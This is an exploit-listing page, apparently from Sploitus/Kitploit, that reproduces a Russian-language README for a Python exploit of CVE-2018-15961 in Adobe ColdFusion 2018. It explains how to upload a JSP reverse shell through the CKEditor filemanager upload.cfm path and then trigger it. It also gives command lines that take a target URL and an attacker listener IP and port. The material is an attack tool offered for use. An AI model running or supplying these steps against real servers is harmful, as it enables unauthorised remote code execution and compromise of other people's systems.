Sploitus

Exploit for CVE-2018-15961

kitploit · 2026-09-02

Exploit Code

MARKDOWN19 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XBUFU-CVE-2018-15961
# CVE-2018-15961 - Adobe ColdFusion 2018 RCE

Данный репозиторий содержит мой эксплойт для уязвимости удаленного выполнения кода (RCE) в Adobe ColdFusion 2018.

## Описание эксплойта

Эксплойт отправляет POST-запрос, содержащий JSP-обратную оболочку, на `/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm`. В случае успеха оболочка загружается в `/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp`. Затем код активирует оболочку, отправляя простой GET-запрос.

## Использование

root@kitploit:~
    
    
    # Базовое использование
    python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443
    
    # С пользовательским именем файла для оболочки
    python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp